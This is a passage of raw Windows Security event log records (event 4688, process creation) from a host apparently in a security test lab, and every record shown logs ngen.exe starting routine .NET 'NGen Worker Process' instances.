Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1250 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 778 -InterruptEvent 0 -NGENProcess 760 -Pipe 770 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255105 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13e4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 790 -InterruptEvent 0 -NGENProcess 694 -Pipe 74c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255104 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb44 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 700 -InterruptEvent 0 -NGENProcess 778 -Pipe 6f8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:42 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255107 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1344 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 754 -InterruptEvent 0 -NGENProcess 78c -Pipe 6c8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:42 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255106 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3f4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 700 -InterruptEvent 0 -NGENProcess 760 -Pipe 6c0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:43 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255109 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xea8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 784 -InterruptEvent 0 -NGENProcess 7a4 -Pipe 790 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:43 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255108 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9bc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 75c -InterruptEvent 0 -NGENProcess 798 -Pipe 694 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255113 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x84c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7b0 -InterruptEvent 0 -NGENProcess 7ac -Pipe 7c0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255112 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12e4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 778 -InterruptEvent 0 -NGENProcess 78c -Pipe 764 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255111 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbe0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 794 -InterruptEvent 0 -NGENProcess 648 -Pipe 76c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255110 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd2c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 778 -InterruptEvent 0 -NGENProcess 764 -Pipe 720 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255119 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1028 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 78c -InterruptEvent 0 -NGENProcess 7b4 -Pipe 760 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255118 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11f8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7c4 -InterruptEvent 0 -NGENProcess 6b0 -Pipe 784 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255117 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc28 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7ac -InterruptEvent 0 -NGENProcess 754 -Pipe 7d0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255116 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11dc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 760 -InterruptEvent 0 -NGENProcess 79c -Pipe 794 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255115 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd8c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7a8 -InterruptEvent 0 -NGENProcess 784 -Pipe 778 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255114 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4b4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 78c -InterruptEvent 0 -NGENProcess 6b0 -Pipe 798 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255123 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb8c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7e0 -InterruptEvent 0 -NGENProcess 7c4 -Pipe 7dc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255122 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa50 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 75c -InterruptEvent 0 -NGENProcess 7a0 -Pipe 7b8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or 